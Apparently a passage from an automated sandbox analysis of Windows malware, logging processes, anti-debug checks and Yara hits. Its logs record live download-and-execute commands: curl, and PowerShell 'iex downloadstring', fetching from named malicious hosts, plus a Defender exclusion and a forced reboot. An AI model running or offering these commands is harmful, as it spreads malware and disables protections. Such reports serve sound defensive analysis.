Source: mshta.exe, 00000000.00000003.152803023729.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000002F94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-USn

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process queried: DebugPort
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process queried: DebugPort
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process queried: DebugPort
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process queried: DebugPort

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_6996.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8440.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_2724.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5268.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: shutdown.exe PID: 8760, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: _nczuwk7_Hi7.exe PID: 8828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shutdown.exe PID: 8132, type: MEMORYSTR
Source: Yara match	File source: \Device\ConDrv, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H"
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H"

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\curl.exe "C:\Windows\System32\curl.exe" -o "C:\Wins32Update_\up.cmd" "https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-435c-8ef5-198776034a00"	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe "C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10
Source: C:\Windows \System32\fodhelper.exe	Process created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe "C:\_nczuwk7_H\_nczuwk7_Hi7.exe"
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_nczuwk7_H"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/up/up') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablefea.shop/a/08/150822/au/au') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -

Source: _nczuwk7_H.exe, 00000022.00000000.153577464024.0000000000C93000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: _nczuwk7_H.exe, 00000022.00000003.153596271381.0000000004071000.00000004.00000020.00020000.00000000.sdmp, _nczuwk7_H.exe, 00000022.00000003.153597115797.0000000003E58000.00000004.00000020.00020000.00000000.sdmp, _nczuwk7_H.exe, 00000022.00000003.153596500106.0000000004070000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndSVW
Source: _nczuwk7_Hi7.exe, 0000000D.00000002.153230440325.000000006A9CD000.00000002.00000001.01000000.0000000D.sdmp, _nczuwk7_Hi7.exe, 00000015.00000002.153230932324.000000006A9CD000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: @Winapi@Windows@DOF_PROGMAN
Source: _nczuwk7_H.exe, 00000022.00000003.153596271381.0000000004071000.00000004.00000020.00020000.00000000.sdmp, _nczuwk7_H.exe, 00000022.00000003.153597115797.0000000003E58000.00000004.00000020.00020000.00000000.sdmp, _nczuwk7_H.exe, 00000022.00000003.153596500106.0000000004070000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SVW

Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
